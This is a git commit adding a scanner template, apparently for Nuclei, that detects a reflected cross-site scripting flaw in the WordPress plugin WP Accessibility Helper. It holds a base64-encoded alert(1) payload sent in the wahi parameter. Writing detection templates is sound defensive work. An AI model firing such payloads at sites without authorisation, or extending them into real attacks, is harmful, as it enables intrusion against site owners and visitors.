Create wp-accessibility-helper-xss.yaml

patch-1
Dhiyaneshwaran 2022-02-19 16:43:05 +05:30 committed by GitHub
parent 9f75abc6f6
commit 9981421aab
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: wp-accessibility-helper-xss
info:
name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)
author: dhiyaneshDK
severity: medium
description: The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue.
reference: https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5
tags: xss,wordpress,wp-plugin,wp
requests:
- method: GET
path:
- '{{BaseURL}}/?wahi=JzthbGVydCgxKTsvLw=='
matchers-condition: and
matchers:
- type: word
part: body
words:
- ";alert(1);//"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200